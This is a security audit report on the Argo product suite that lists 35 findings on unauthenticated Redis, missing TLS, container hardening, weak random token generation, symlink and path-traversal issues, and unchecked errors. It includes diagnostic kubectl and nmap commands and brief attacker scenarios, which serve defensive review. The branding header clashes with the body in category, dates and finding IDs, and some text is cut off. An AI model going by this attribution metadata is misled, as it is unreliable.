

Argo

Security assessment by HashEye · prepared for Supply Chain

HASHEYE AUDITED

PROJECT	Argo
PERFORMED BY	HashEye Security Review Team - Sergey, Brian
RESEARCH	Sergey, Brian
CLIENT	Supply Chain
CATEGORY	Blockchain
PUBLISHED	March 1, 2021
REPORT ID	research-argo-2021-03-01-1l9evw

This report was produced by HashEye's security review team under the HashEye review process, combining source review, deployment-state checks, and senior manual verification. Full report detail is available at hasheye.io/audits/research-argo-2021-03-01-1l9evw.

Argo Security Assessment March 12, 2021 Prepared For: Edward Lee | IntuitChris Aniszczyk | Linux Foundation edward_lee@intuit.comcaniszczyk@linuxfoundation.org Alex Collins | IntuitJesse Suen | Intuit alex_collins@intuit.comjesse_suen@intuit.com Alexander Matyushentsev | IntuitHenrik Blixt | Intuit alexander_matyushentsev@intuit.comhenrik_blixt@intuit.com
Prepared By: Dominik Czarnota | HashEyeDavid Pokora | HashEye dominik.czarnota@hasheye.io david.pokora@hasheye.io Mike Martel | HashEye mike.martel@hasheye.io

Executive Summary Project Dashboard Engagement Goals Coverage Recommendations Summary Short Term Long Term Findings Summary 1. Redis is outdated 2. Redis does not leverage passphrases 3. Redis does not leverage TLS encryption 4. Lack of container security options 5. Rollouts: Unhandled error when reconciling Istio Virtual Service 6. Unhandled deferred file close operations 7. MinIO container runs as root 8. File extension comparisons are case sensitive 9. Workflows: HTTP used by default for Web UI 10. Weak TLS version/cipher mode configurations 11. Workflows: HTTP artifact fetcher will fail on self-signed certificates 12. Workflows: HTTP artifact fetcher will not use TLS by default 13. Prometheus metrics endpoints do not use TLS 14. Workflows: Git artifact fetcher does not validate revision names 15. Rollouts: Use of strconv.Atoi when a fixed-width integer is desired 16. The zJWT auth tokens allow for denial of service in Argo CD 17. Non-cryptographically secure random function documented as CSPRNG 18. Symlink in a Git repository allows including files outside of the Git repository path on the Argo CD repo server 19. Providing repository URL in the app creation form clones the repo even if the app is not created 20. Incorrect logging of command arguments in the RunCommandExt convenience function 21. An application path may contain path traversal payload that ends up in the application's resulting path 22. Argo CD CLI suggests that it is possible to create the same application twice 23. Argo CD file descriptor leak that may lead to exhausting opened file descriptor limit 24. Argo CD contributing guide suggests adding user to the docker group without explaining its security risks

© 2021 HashEye Argo Security Assessment | 1

25. Argo CD command line does not warn about too broad permissions of Argo token file 26. Argo CD website lacks Content Security Policy and uses the X-XSS-Protection: 1 header 27. Argo Events authentication token generated using weak PRNG 28. Argo Events NATS streaming service does not use TLS by default 29. Argo CD may return an incorrect error message for a missing claim in the numField function 30. Argo CD: the getToken function parses multiple tokens instead of using the first valid one 31. The WaitPID function is vulnerable to a PID-reuse attack 32. Argo CD Web UI does not support changing local admin password 33. Argo CD does not invalidate token for local admin on logout 34. Argo projects do not provide documentation for release cycle 35. Packages with security vulnerabilities in Argo-CD and Argo Workflows UI A. Vulnerability Classifications B. Hardening containers run via Kubernetes Root inside container Dropping Linux capabilities NoNewPrivs flag Seccomp policies Linux Security Module (AppArmor) © 2021 HashEye Argo Security Assessment | 2

Executive Summary From March 1 to March 9, 2021, HashEye conducted a code review of the Argo product suite, including Argo CD, Argo Workflows, Argo Rollouts, and Argo Events. HashEye security engineers used the first week to employ static analysis tools such as Semgrep, gosec, CodeQL, and errcheck, in addition to conducting a preliminary manual review. Manual review efforts included investigations into insufficient use of cryptography and data validation, improper handling or assignment of access controls, weak configurations, potential information disclosures, incorrect or dangerous use of auditing and logging, and resource exhaustion attacks. The primary targets of these manual review efforts included Argo CD and Argo Workflows. This review resulted in 23 findings ranging from undetermined to medium severity, as well as several untriaged concerns. The final week of review included two calendar days of effort. In addition to conducting a deeper review into the above mentioned classes of issues, HashEye triaged remaining suspicions identified in the previous week. During the remainder of the audit, HashEye placed increased emphasis on Argo Events and Argo Rollouts while generally reviewing concerns regarding insufficient use of authentication, file permissions, Kubernetes best practices, undefined behavior stemming from a lack of documentation or insufficient error handling, race conditions, and general data validation concerns. This resulted in 12 additional findings ranging from medium to informational severity. Overall, services in the Argo product suite often do well in leveraging platform-specific features such as Kubernetes secrets to manage sensitive data and take into consideration attempts by external attackers to gain access. However, consider the following when moving forward in the development process: •The Argo product suite could benefit from

consideration of additional scenarios that could arise when an attacker gains access to the internal network through some component. •Connections between internal components or components in the default setup environment commonly lack encryption and authentication (TOB-ARGO-002, TOB-ARGO-003, TOB-ARGO-009, TOB-ARGO-012, TOB-ARGO-013, TOB-ARGO-028). •In general, it may be worth reviewing cryptography best practices, given the use of insecure random number generators and cipher suites (TOB-ARGO-010, TOB-ARGO-017, TOB-ARGO-027). •Additional emphasis on error handling may be valuable (TOB-ARGO-005, TOB-ARGO-006, TOB-ARGO-011, TOB-ARGO-022, TOB-ARGO-023, TOB-ARGO-029). •Similarly, increased focus on data validation may prevent a number of issues (TOB-ARGO-008, TOB-ARGO-014, TOB-ARGO-015, TOB-ARGO-016, TOB-ARGO-018, TOB-ARGO-021, TOB-ARGO-030). © 2021 HashEye Argo Security Assessment | 3

•Hardening the deployment configuration may mitigate privilege escalation attempts if an attacker gains access to one of the containers (TOB-ARGO-004, Appendix B: Hardening containers run via Kubernetes). HashEye recommends addressing the findings in this report, including the short- and long-term recommendations. After applying the fixes and considering the recommendations, perform an assessment to ensure that the fixes are adequate and do not introduce additional security risks. We also recommend performing a further assessment focusing on the areas listed in the Coverage section that we weren't able to penetrate deeply due to time constraints and the large scope of the audit. © 2021 HashEye Argo Security Assessment | 4

Project Dashboard Application Summary Engagement Summary Vulnerability Summary Category Breakdown Name Argo Version argo-cdc6d3728 argo-events6ed9e47 argo-rollouts dff1f22 argo-workflowse6fa41a gitops-engine aae8ded pkg52727e4 Type Go Platforms Linux Dates March 1 - 9, 2021 Method Whitebox Consultants Engaged 3 Level of Effort 3 person-weeks Total High-Severity Issues 0 Total Medium-Severity Issues 3 000 Total Low-Severity Issues 16 0000000000000000 Total Informational-Severity Issues 16 0000000000000000 Total Undetermined-Severity Issues 0 Total 35 Access Controls 2 00 Configuration 11 000000000000 Cryptography 3 000 Data Validation 5 00000 © 2021 HashEye Argo Security Assessment | 5

Denial of Service 3 000 Documentation 1 0 Error Reporting 3 000 Patching 3 000 Timing 1 0 Undefined Behavior 3 000 Total 35 © 2021 HashEye Argo Security Assessment | 6

Engagement Goals The engagement was scoped to provide a security assessment of the Argo product suite and its associated dependencies. Specifically, we sought to answer the following non-exhaustive list of questions: •Is the user authentication model sound? •Is there appropriate data validation performed in API endpoint handlers? •Are user sessions managed appropriately? Are JSON Web Tokens handled accordingly? •Are there appropriate access controls between actors in the system? •Is the use of cryptography sufficient throughout the system? Is data in transit and data at rest appropriately protected? •Do the configurations provided for users generally consider best practices for security? •Does the system rely on outdated dependencies? •Is there appropriate validation of filesystem operations such as the handling of symbolic links and setting of file permissions? •Are there any other general code correctness concerns identified throughout the system? Coverage This section highlights some of the analysis coverage that HashEye achieved based on our high-level engagement goals. Our approaches and their results include the following:

•A review of user authentication did not reveal any immediate concerns beyond weak token generation (TOB-ARGO-027). •Analysis of API endpoint handlers did not reveal immediate concerns. •Investigations into user sessions and session tokens did not reveal any critical concerns that could result in user compromise; however, the custom wrapping of a JWT token in Argo CD was identified as a potential attack vector for resource exhaustion attacks (TOB-ARGO-016). •When reviewing the use of cryptography throughout the system, we uncovered several issues with weak configurations of encryption such as TLS and insufficient random number generators used in cryptographic operations (TOB-ARGO-003, TOB-ARGO-009, TOB-ARGO-010, TOB-ARGO-017, TOB-ARGO-012, TOB-ARGO-013, TOB-ARGO-027, TOB-ARGO-028). •A review of general configurations for components throughout the system, user profiles, exposed services, and other elements revealed some concerns, certain of which are detailed in the previous bullet point regarding the configuration of © 2021 HashEye Argo Security Assessment | 7

cryptography; additional findings included a lack of Redis passphrases (TOB-ARGO-002), a lack of container security options (TOB-ARGO-004), containers running as root (TOB-ARGO-007), insufficient consideration of the implications of adding users to the docker user group (TOB-ARGO-024), and a lack of content security policies (TOB-ARGO-026). •A review of outdated dependencies revealed concerns that Redis could be updated to access new security features (TOB-ARGO-001). •A review of file operations revealed insufficient handling of file extensions across codebases (TOB-ARGO-006), the potential for symbolic link attacks, which could undesirably leak files in the Argo CD repo server (TOB-ARGO-018), a path traversal issue affecting Argo CD (TOB-ARGO-021), and a file descriptor leak in Argo CD (TOB-ARGO-023). •General code correctness concerns revealed insufficient error handling (TOB-ARGO-005, TOB-ARGO-006, TOB-ARGO-011, TOB-ARGO-022, TOB-ARGO-023

, TOB-ARGO-029) and insufficient data validation (TOB-ARGO-008, TOB-ARGO-014, TOB-ARGO-015, TOB-ARGO-016, TOB-ARGO-018, TOB-ARGO-021, TOB-ARGO-030). Given the time constraints and scope allocated for this assessment, HashEye was unable to cover certain areas as comprehensively as others. Those areas may benefit from further assessment and are as follows:

- Frontends/UIs of Argo CD and Argo Workflows. We reviewed the code mostly for the use of dangerous functions (e.g., those that could lead to XSS attacks), and we tested various inputs manually. HashEye focused on the backend, since most of the functionality of Argo CD and Argo Workflows is implemented there.
- Various manifest specifications in Argo CD.
- Integration with SSO in Argo CD and Argo Workflows. We reviewed the related code paths, but we didn't test the SSO integration against a real provider.
- The optional integration with ingress controllers and service meshes in Argo Rollouts.
- Various event triggers and event sources in Argo Events.

© 2021 HashEye Argo Security Assessment | 8

Recommendations Summary This section aggregates all the recommendations made during the engagement. Short-term recommendations address the immediate causes of issues. Long-term recommendations pertain to the development process and long-term design goals.

Short term

- ☐ Consider updating your Redis instance to ensure that you can leverage newer security features and bug fixes introduced in later releases. TOB-ARGO-001
- ☐ Consider using passphrases to safeguard Argo CD's Redis instance. TOB-ARGO-002
- ☐ Upgrade Redis and use TLS encryption introduced in newer releases. TOB-ARGO-003
- ☐ Explicitly enable security options such as the NoNewPrivs flag (allowPrivilegeEscalation: false in Kubernetes), dropping all Linux capabilities and enabling seccomp syscalls filtering for all Argo container deployment configurations. Instructions for enabling those settings are included in Appendix B: Hardening containers run via Kubernetes. TOB-ARGO-004
- ☐ Add checks to the above function call to ensure that any errors are caught and handled appropriately. TOB-ARGO-005
- ☐ Consider closing files explicitly at the end of functions and checking for errors. Alternatively, defer a wrapper function to close the file and check for errors if it makes sense. TOB-ARGO-006
- ☐ Configure the MinIO container to use a non root user. Using least privileges will help decrease the attack surface available for an attacker. This can be done by specifying the runAsUser, runAsGroup, SupplementalGroups and fsGroup keys in the Kubernetes securityContext for the MinIO deployment. TOB-ARGO-007
- ☐ Change the file extension string comparisons across Argo codebases to use case insensitive comparison or extend the documentation to inform users that only lowercase file extensions are supported in various places. TOB-ARGO-008
- ☐ Consider enforcing TLS with self-signed certificates in Argo Workflows by default, as is done with Argo CD. Allow users to opt-out rather than require them to opt-in. TOB-ARGO-009

© 2021 HashEye Argo Security Assessment | 9

- ☐ Consider enforcing stronger TLS requirements. Do not allow TLS versions older than TLS v1.2. Ensure cipher modes meet industry standards and don't have prior vulnerability. TOB-ARGO-010
- ☐ Consider adding an option to Workflows specifications that let users provide a custom CA certificate for use with curl. TOB-ARGO-011
- ☐ Consider prefixing any URL provided without a scheme with https://. TOB-ARGO-012
- ☐ Serve Prometheus metrics endpoints using TLS. TOB-ARGO-013
- ☐ Add a step to validate the revision name using git check-ref-format before it is used by git checkout. TOB-ARGO-014
- ☐ Avoid using strconv.Atoi in favor of strconv.ParseInt as it makes assumptions about data width explicit. TOB-ARGO-015
- ☐ Remove zJWT support in Argo to prevent denial of service scenarios through gzip bomb unpacking. Alternatively, use the encrypted payload when creating JWT token so that it is authenticated by the used JWT signing method. TOB-ARGO-016
- ☐ Use the crypto/rand package for generating cryptographically-secure pseudo-random data in the rand utility module in argoproj/pkg. Also, remove the duplicated module from Argo CD and use the one from argoproj/pkg after fixing it. TOB-ARGO-017
- ☐ Add a check into the findManifests files if the given path is a symbolic link and either ignore it if it is so, or, make sure the link points to a path that ends up in the same repository in which the manifests files are searched for. TOB-ARGO-018
- ☐ Change the Argo CD to clone the Git repository only after the user tries to create the application instead of cloning it when the URL is typed in on the Argo CD website. This will prevent the argocd-repo-server from cloning unnecessary repositories that come in from partial names of other repositories and so filling in the disk space. TOB-ARGO-019
- ☐ Change the argoproj/pkg's RunCommandExt function to properly log command line arguments that contain spaces. TOB-ARGO-020
- ☐ Consider adding additional validation to the user input repository path in Argo CD so that it disallows the path from beginning with "../" and containing "../" path components. TOB-ARGO-021

© 2021 HashEye Argo Security Assessment | 10

- ☐ Change the Argo CD logic so the Argo CD CLI errors out if a user attempts to create an application with the same data. TOB-ARGO-022
- ☐ Defer the f.Close() operation in the writeKeyToFile function in Argo CD and check for the Close error. TOB-ARGO-023
- ☐ Change the Argo CD contribution guide to suggest using "sudo" in order to control Docker containers and explain the risk of adding users to the docker group. This will help users be aware of the risky configuration of being in the docker group and choose whether they want to use it. TOB-ARGO-024

❑ Check the Argo CD config file permissions during Argo CD command line invocations and warn the user if the file permissions are too broad. This will help users to keep their Argo CD token more secure and warn them if it was possible for the token to be exposed for other users. TOB-ARGO-025

❑ Implement a CSP policy in Argo CD and validate it with a CSP Evaluator. This will help mitigate the effects of attacks such as XSS. Additionally, remove the X-XSS-Protection header from Argo CD responses or set its mode to "0" or "1; block". TOB-ARGO-026

❑ Change the use of math/rand to crypto/rand for token generation in the generateToken function in Argo Events. This will make the token generation use a cryptographically secure pseudo random number generator instead of one whose values could be predicted by an attacker. TOB-ARGO-027

❑ Enable TLS for all Eventbus deployments. TOB-ARGO-028

❑ Change the error message returned in the numField function in Argo CD so it properly states which claim key is missing from the processed token. This will prevent users getting confused if the function processes another claim key. TOB-ARGO-029

❑ Check if a given authentication token is valid and if so, return it in the getToken function in Argo CD instead of fetching all possible auth tokens into the tokens array and then using the first valid one. This will prevent unnecessary fetching of tokens if a previously fetched token is a valid one. TOB-ARGO-030

❑ Prompt the Argo CD operator to change the password for the local admin account on first log on and also provide functionality to change the password as needed from the web interface. TOB-ARGO-032

❑ Invalidate tokens when a user logs out of Argo CD. TOB-ARGO-033

© 2021 HashEye Argo Security Assessment | 11

❑ Consider providing release cycle documentation for end users. TOB-ARGO-034

❑ Update the dependencies in Argo Workflows UI and Argo CD UI projects which contain known vulnerabilities shown by the npm audit tool. TOB-ARGO-035

© 2021 HashEye Argo Security Assessment | 12

Long term

❑ Ensure all dependencies in Argo products are up to date. Consider employing the use of dependency version checking software within your CI/CD pipeline. TOB-ARGO-001

❑ Ensure no component within Argo CD which contains sensitive information can be accessed without authentication. TOB-ARGO-002

❑ Ensure no component within Argo CD communicates in plaintext. This may provide a vector for an attacker to move laterally within the system. TOB-ARGO-003

❑ Ensure the deployment configurations have all expected mitigations enabled by testing them appropriately. For example, the Linux capabilities or the noNewPrivs flag can be tested by checking the /proc/PID/status file of the Argo processes. TOB-ARGO-004

❑ Ensure all functions which may return an error are checked for potential errors. Consider employing the use of tools such as errcheck to uncover cases throughout Argo codebases. TOB-ARGO-005

❑ If errors should be caught for a deferred call, wrap the deferred call in a function that checks for errors. Currently, errors resulting from deferred function calls cannot be easily caught and handled. TOB-ARGO-006

❑ Review all externally-facing components within the system to ensure they enforce appropriate encryption and authentication standards by default. TOB-ARGO-009

❑ Consider reviewing server configurations to ensure all standards are up to date with best practices. Integrate operational procedures which ensure appropriate maintenance of these standards. TOB-ARGO-010

❑ Investigate all uses of math/rand package across Argo codebases. TOB-ARGO-017

❑ Track the further developments of CSP and similar web browser features that help mitigate security risk. As new protections are developed, ensure they are adopted as quickly as possible. TOB-ARGO-026

❑ Consider generating TLS client certificates to minimize the use of shared credentials, like the shared authentication token, across Event Sources, Sensors, etc. TOB-ARGO-028

❑ Consider changing the WaitPID function in argoproj/pkg library to use the pidfd API in order to wait for a PID to exit in a race-free manner. Since the pidfd API is only

© 2021 HashEye Argo Security Assessment | 13

present in Linux kernel 5.3 and newer, such logic may require to be compiled in only for builds targeting newer kernels. TOB-ARGO-031

❑ Add the npm audit tool to the CI of Argo Workflows and Argo CD projects to scan their frontend dependencies for insecure packages. Alternatively use GitHub's Dependabot to scan for and automatically suggest packages updates. TOB-ARGO-035

© 2021 HashEye Argo Security Assessment | 14

Findings Summary

#	Title	Type	Severity
1	Redis is outdated	Patching	Informational
2	Redis does not leverage passphrases	Configuration	Low
3	Redis does not leverage TLS encryption	Configuration	Low
4	Lack of container security options	Configuration	Low
5	Rollouts: Unhandled error when reconciling Istio Virtual Service	Undefined Behavior	Low
6	Unhandled deferred file close operations	Undefined Behavior	Low
7	MinIO container runs as root	Configuration	Low
8	File extension comparisons are case sensitive	Data Validation	Informational
9	Workflows: HTTP used by default for Web UI	Configuration	Low
10	Weak TLS version/cipher mode configurations	Cryptography	Informational
11	Workflows: HTTP artifact fetcher will fail on self-signed certificates	Configuration	Informational
12	Workflows: HTTP artifact fetcher will not use TLS by default	Configuration	Low
13	Prometheus metrics endpoints do not use TLS	Configuration	Low
14	Workflows: Git artifact fetcher does not validate revision		

names Data Validation Informational 15 Rollouts: Use of strconv.Atoi when a fixed-width integer is desired Data Validation Informational 16 The zJWT auth tokens allow for denial of service in Argo CD Denial of Service Medium © 2021 HashEye Argo Security Assessment | 15

17 Non-cryptographically secure random function documented as CSPRNG Cryptography Medium
18 Symlink in a Git repository allows including files outside of the Git repository path on the Argo CD repo server Data Validation Low 19 Providing repository URL in the app creation form clones the repo even if the app is not created Denial of Service Informational 20 Incorrect logging of command arguments in the RunCommandExt convenience function Error Reporting Informational 21 An application path may contain path traversal payload that ends up in the application's resulting path Data Validation Informational 22 Argo CD CLI suggests that it is possible to create the same application twice Error Reporting Informational 23 Argo CD file descriptor leak that may lead to exhausting opened file descriptor limit Undefined Behavior Low 24 Argo CD contributing guide suggests adding user to the docker group without explaining its security risks Documentation Informational 25 Argo CD command line does not warn about too broad permissions of Argo token file Configuration Low 26 Argo CD website lacks Content Security Policy and uses the X-XSS-Protection header with mode: 1 Configuration Low 27 Argo Events authentication token generated using weak PRNG Cryptography Low 28 Argo Events NATS streaming service does not use TLS by default Configuration Low 29 Argo CD may return an incorrect error message for a missing claim in the numField function Error Reporting Informational © 2021 HashEye Argo Security Assessment | 16

30 Argo CD: the getToken function parses multiple tokens instead of using the first valid one Denial of Service Informational 31 The WaitPID function is vulnerable to a PID-reuse attack Timing Informational 32 Argo CD Web UI does not support changing local admin password Access Controls Informational 33 Argo CD does not invalidate token for local admin on logout Access Controls Low 34 Argo projects do not provide documentation for release cycle Patching Informational 35 Packages with security vulnerabilities in Argo-CD and Argo Workflows UI Patching Medium © 2021 HashEye Argo Security Assessment | 17

1. Redis is outdated Severity: InformationalDifficulty: Low Type: PatchingFinding ID: TOB-ARGO-001 Target: argocd-redis Description When deploying Argo CD using the Getting Started tutorial, the resulting Redis instance which is deployed with Argo CD is notably outdated. Consider the following command run inside of the relevant Redis container and its output: Figure 1.1: Checking the Redis server version within Argo CD's Redis container reveals usage of an old Redis version. Using outdated versions of software may result in vulnerability due to the lack of updated security features and bug fixes being received. In this case, Redis being outdated has been discovered to hinder availability of newer security features which could be leveraged to harden Argo CD infrastructure (TOB-ARGO-003). Recommendation Short term, consider updating your Redis instance to ensure that you can leverage newer security features and bug fixes introduced in later releases. Long term, ensure all dependencies in Argo products are up to date. Consider employing the use of dependency version checking software within your CI/CD pipeline. \$ redis-server --version Redis server v=5.0.10 sha=00000000:0 malloc=jemalloc-5.1.0 bits=64 build=9f25062ac8d2f51f © 2021 HashEye Argo Security Assessment | 18

2. Redis does not leverage passphrases Severity: LowDifficulty: Medium Type: ConfigurationFinding ID: TOB-ARGO-002 Target: argocd-redis Description Argo CD does not leverage passphrases for authentication to its Redis instances. This means that any attacker which gains access to a component within the cluster which hosts Argo CD will be able to authenticate to Redis. In order to leverage passphrase authentication to Redis, you should define a Redis configuration with a requirepass property. Currently, Argo CD defines the following Redis configuration: Figure 2.2: The Redis configuration supplied within Argo CD does not require a password for authentication (argocd/manifests/ha/base/redis-ha/chart/upstream.yaml#L15-L25) Exploit Scenario Bob operates an instance of Argo CD. Eve, an attacker, gains access to a component within Bob's Argo CD infrastructure. Due to the lack of authentication, Eve can now speak to Bob's Redis instance with ease and fetch potentially sensitive information or leverage Redis for persistent access within the system. Recommendation Short term, consider employing the use of passphrases to safeguard Argo CD's Redis instance. Long term, ensure no component within Argo CD which contains sensitive information can be accessed without authentication. redis.conf: | dir "/data" port 6379 maxmemory 0 maxmemory-policy volatile-lru min-replicas-max-lag 5 min-replicas-to-write 1 rdbchecksum yes rdbcompression yes repl-diskless-sync yes save "" © 2021 HashEye Argo Security Assessment | 19

3. Redis does not leverage TLS encryption Severity: LowDifficulty: High Type: ConfigurationFinding ID: TOB-ARGO-003 Target: argocd-redis Description Following TOB-ARGO-001, Argo CD currently leverages version 5.x of Redis. However, version 6.x of Redis introduced the ability to encrypt Redis communications with TLS. This means that communications with Redis are

currently not encrypted. **Exploit Scenario** Bob operates an instance of Argo CD. Eve, an attacker, gains access to a component within Bob's Argo CD infrastructure. Due to the lack of encryption for communications, Eve may be able to launch a successful man-in-the-middle attack against Bob's Redis instance. **Recommendation** Short term, upgrade Redis and employ the use of TLS encryption introduced in newer releases. Long term, ensure no component within Argo CD communicates in plaintext. This may provide a vector for an attacker to move laterally within the system. © 2021 HashEye Argo Security Assessment | 20

4. Lack of container security options Severity: LowDifficulty: High Type: ConfigurationFinding ID: TOB-ARGO-004 Target: Argo containers configuration Description The default deployment configuration for Argo containers lacks certain security options that mitigate privilege escalation risks. Those options are: •Dropping all Linux capabilities •Enabling the NoNewPrivs flag •Using seccomp syscalls filtering Appendix B: Hardening containers run via Kubernetes describes those settings in more details. These security options can be checked for a given process id by reading the /proc/\$PID/status file. Figure 4.1 shows status of some of the Argo CD containers. HashEye validated this issue for Argo CD, Workflows, Events and Rollouts containers which had the cat binary in their filesystem. We didn't confirm this issue in the containers built from scratch images that have only a single binary in their filesystem. It is possible to validate those by either inspecting the processes in the root namespaces, or, by copying a statically linked busybox or cat binary into those containers before reading processes status file. Additionally, some of the containers were unnecessarily run as root, which we reported in TOB-ARGO-007.

```
$ for pod in $(kubectl get pods --namespace=argocd --no-headers -o custom-columns=":metadata.name"); do echo "# Status for POD: $pod"; kubectl exec -it --namespace=argocd $pod -- cat /proc/1/status | egrep 'Name|Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp' && echo ""; done # Status for POD: argocd-application-controller-0 Name:argocd-applicat Uid:9999999999999999 Gid:9999999999999999 Groups: CapInh:00000000a80425fb CapPrm:0000000000000000 CapEff:0000000000000000 CapBnd:00000000a80425fb CapAmb:0000000000000000 NoNewPrivs:0 Seccomp:0
```

(...) - output truncated but argocd-dex-server, argocd-redis, argocd-repo-server and argocd-server gives similar output © 2021 HashEye Argo Security Assessment | 21

Figure 4.1: Showing user and group ids, Linux capabilities, NoNewPrivs flag and seccomp settings for one of Argo CD containers. **Recommendation** Short term, explicitly enable security options such as NoNewPrivs flag (allowPrivilegeEscalation: false in Kubernetes), dropping all Linux capabilities and enabling seccomp syscalls filtering for all Argo containers deployment configurations. Refer to the Appendix B: Hardening containers run via Kubernetes on how to enable those settings. Long term, ensure the deployment configurations have all expected mitigations enabled by testing them appropriately. For example, the Linux capabilities or the noNewPrivs flag can be tested by checking the /proc/PID/status file of the Argo processes. © 2021 HashEye Argo Security Assessment | 22

5. Rollouts: Unhandled error when reconciling Istio Virtual Service Severity: LowDifficulty: Low Type: Undefined BehaviorFinding ID: TOB-ARGO-005 Target: argo-rollouts/rollout/trafficrouting/istio/istio.go Description Argo Rollouts does not check returned errors when updating weights/routes. This means that such updating operations may silently not complete as intended, which may result in undefined behavior throughout the system. Figure 5.1: Argo Rollouts does not check for an error when calling the above function, despite it returning error information (argo-rollouts/rollout/trafficrouting/istio/istio.go#L148) Recommendations Short term, add checks to the above function call to ensure any errors which occur are caught and handled appropriately. Long term, ensure all functions which may return an error are checked for potential errors. Consider employing the use of tools such as errcheck to uncover cases throughout Argo codebases.

```
patches := r.generateVirtualServicePatches(httpRoutes, int64(desiredWeight)) patches.patchVirtualService(httpRoutesI)
```

```
err = unstructured.SetNestedSlice(newObj.Object, httpRoutesI, "spec", "http") return newObj, len(patches) > 0, err
```

© 2021 HashEye Argo Security Assessment | 23

6. Unhandled deferred file close operations Severity: LowDifficulty: High Type: Undefined BehaviorFinding ID: TOB-ARGO-006 Target: <various> Description There seem to be multiple locations throughout Argo codebases that defer file close operations after writing to the file. This may introduce undefined behavior as file contents may not be flushed to disk until closing. Errors arising from the inability to flush contents to disk while closing will not be caught, and the application may assume contents were written to disk successfully. See examples in Figures 6.1-2. (Note: This is a non-exhaustive list.) Figure 6.1: Argo workflows may have potentially uncaught errors when downloading an object from a Google Cloud Storage bucket (argo-workflows//workflow/artifacts/gcs/gcs.go#L123-L132) Figure 6.2: Argo Rollouts contains code which may not save markdown data while failing silently (argo-rollouts/hack/gen-plugin-

```
docs/main.go#L112-L122) In practice, such an issue is unlikely to occur outside of rare
circumstances such as a full or failing disk, and would probably require disk access to trigger it
otherwise. out, err := os.Create(localPath) if err != nil { return fmt.Errorf("os create %s:
%v", localPath, err) } defer out.Close() _, err = io.Copy(out, rc) if err != nil { return
fmt.Errorf("io copy: %v", err) } return nil f, err := os.Create(filename) if err != nil { return
nil, err } defer f.Close()

if err := GenMarkdown(cmd, f); err != nil { return nil, err } files = append(files, filename)
return files, nil © 2021 HashEye Argo Security Assessment | 24
```

Exploit Scenario Bob, an Argo service operator, has a disk that periodically fails to flush contents due to some hardware failure. As a result, such methods within Argo may fail to write contents to disk without Bob realizing it. This may cause undefined behavior. Recommendations Short term, consider closing files explicitly at the end of functions and checking for errors. Alternatively, defer a wrapper function to close the file and check for errors, if it makes sense. Long term, if errors should be caught for a deferred call, wrap the deferred call in a function that checks for errors. Currently, errors resulting from deferred function calls cannot be easily caught and handled. © 2021 HashEye Argo Security Assessment | 25

7. MinIO container runs as root Severity: LowDifficulty: Low Type: ConfigurationFinding ID: TOB-ARGO-007 Target: Argo Workflows Description The MinIO container used by Argo Workflows runs as root (Figure 7.1), while MinIO supports running as an unprivileged user. While the process capabilities are limited to the set Docker grants by default (as seen in the "CapEff" row), running MinIO as root unnecessarily increases the Linux kernel attack surface available to an attacker who would hijack its process. Figure 7.1: Displaying MinIO container's status. Exploit Scenario An attacker hijacks the MinIO container and hijacks the host by exploiting a Linux kernel bug that would not be triggerable without being root. Recommendation Short term, configure the MinIO container to use a non root user. Using least privileges will help decrease the attack surface available for an attacker. This can be done by specifying the runAsUser, runAsGroup, SupplementalGroups and fsGroup keys in the Kubernetes securityContext for the MinIO deployment. \$ kubectl exec -it --namespace=argo minio -- cat /proc/1/status | egrep 'Name|Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp' Name:minio Uid:0000 Gid:0000 Groups:0 1 2 3 4 6 10 11 20 26 27 CapInh:00000000a80425fb CapPrm:00000000a80425fb CapEff:00000000a80425fb CapBnd:00000000a80425fb CapAmb:0000000000000000 NoNewPrivs:0 Seccomp:0 © 2021 HashEye Argo Security Assessment | 26

8. File extension comparisons are case sensitive Severity: InformationalDifficulty: Low Type: Data ValidationFinding ID: TOB-ARGO-008 Target: multiple code paths Description Throughout Argo codebases, there are various operations which rely on filepath.Ext() calls to obtain a file extension, prior to performing a string comparison on the extension. However, this string comparison is case sensitive and does not consider files of the same extension which utilize different casing. Figure 8.1: The gitops-engine performs case-sensitive file extension comparisons (gitops-engine/agent/main.go#L64-L86) This may introduce issues regarding potentially unhandled files which should otherwise intuitively be handled by Argo products. The issue was identified in the following code paths: ●gitops-engine/agent/main.go#L64-73 ●argo-cd/reposerver/repository/repository.go#L1111-1123 ●argo-workflows/cmd/argo/lint/lint.go#L98-104 ●argo-workflows/hack/docgen.go#L160-165 ●argo-workflows/examples/validator.go#L34-47 Recommendation Short term, change the file extension string comparisons across Argo codebases to use case insensitive comparison or extend the documentation to inform users that only lowercase file extensions are supported in various places. if err := filepath.Walk(filepath.Join(s.repoPath, s.paths[i]), func(path string, info os.FileInfo, err error) error { if err != nil { return err } if info.IsDir() { return nil } if ext := filepath.Ext(info.Name()); ext != ".json" && ext != ".yaml" && ext != ".yml" { return nil } [...] © 2021 HashEye Argo Security Assessment | 27

9. Workflows: HTTP used by default for Web UI Severity: LowDifficulty: Low Type: ConfigurationFinding ID: TOB-ARGO-009 Target: Argo Workflows Description Although TLS is supported and recommended to be enabled in TLS-related documentation, it is not enabled by default within Argo Workflows as it is with Argo CD, and the initial setup guides do not encourage operators to configure it. This may leave a naive operator vulnerable in the event that they do not follow best practices. Exploit Scenario Bob is an Argo service operator. Eve, an attacker, is on the same local network as Bob. Due to Bob's naive configuration of Argo, HTTPS is not leveraged for his deployment of Argo Workflows. As a result, Eve can perform a man-in-the-middle attack and exfiltrate sensitive information such as Bob's administrator password with relative ease. Recommendation Short term, consider enforcing TLS with self-signed certificates in Argo Workflows by default, as is done with Argo CD. Allow users to opt-out rather than require them to opt-in. Long term, review all externally-facing components within the system to ensure they

10. Weak TLS version/cipher mode configurations Severity: InformationalDifficulty: Low Type: CryptographyFinding ID: TOB-ARGO-010 Target: argocd-redis Description While Argo CD seems to enforce TLS v1.2 encryption standards by default for its Web UI, Argo Workflows seems to serve requests for TLS v1.0, v1.1 and TLS v1.2, often with discouraged cipher modes, when using the --secure application argument. Consider the following output from nmap SSL cipher enumeration, where Argo CD supports too few preferred cipher modes, and Argo Workflows supports insecure versions (Figures 10.1-2). Figure 10.1: Argo CD offers too few cipher preferences by default

```
$ nmap --script ssl-enum-ciphers -p 8080 localhost PORT STATE SERVICE 8080/tcp open http-proxy
| ssl-enum-ciphers: | TLSv1.2: | ciphers: | TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A |
compressors: | NULL | cipher preference: indeterminate | cipher preference error: Too few ciphers
supported | warnings: | Forward Secrecy not supported by any cipher |_ least strength: A $ nmap --
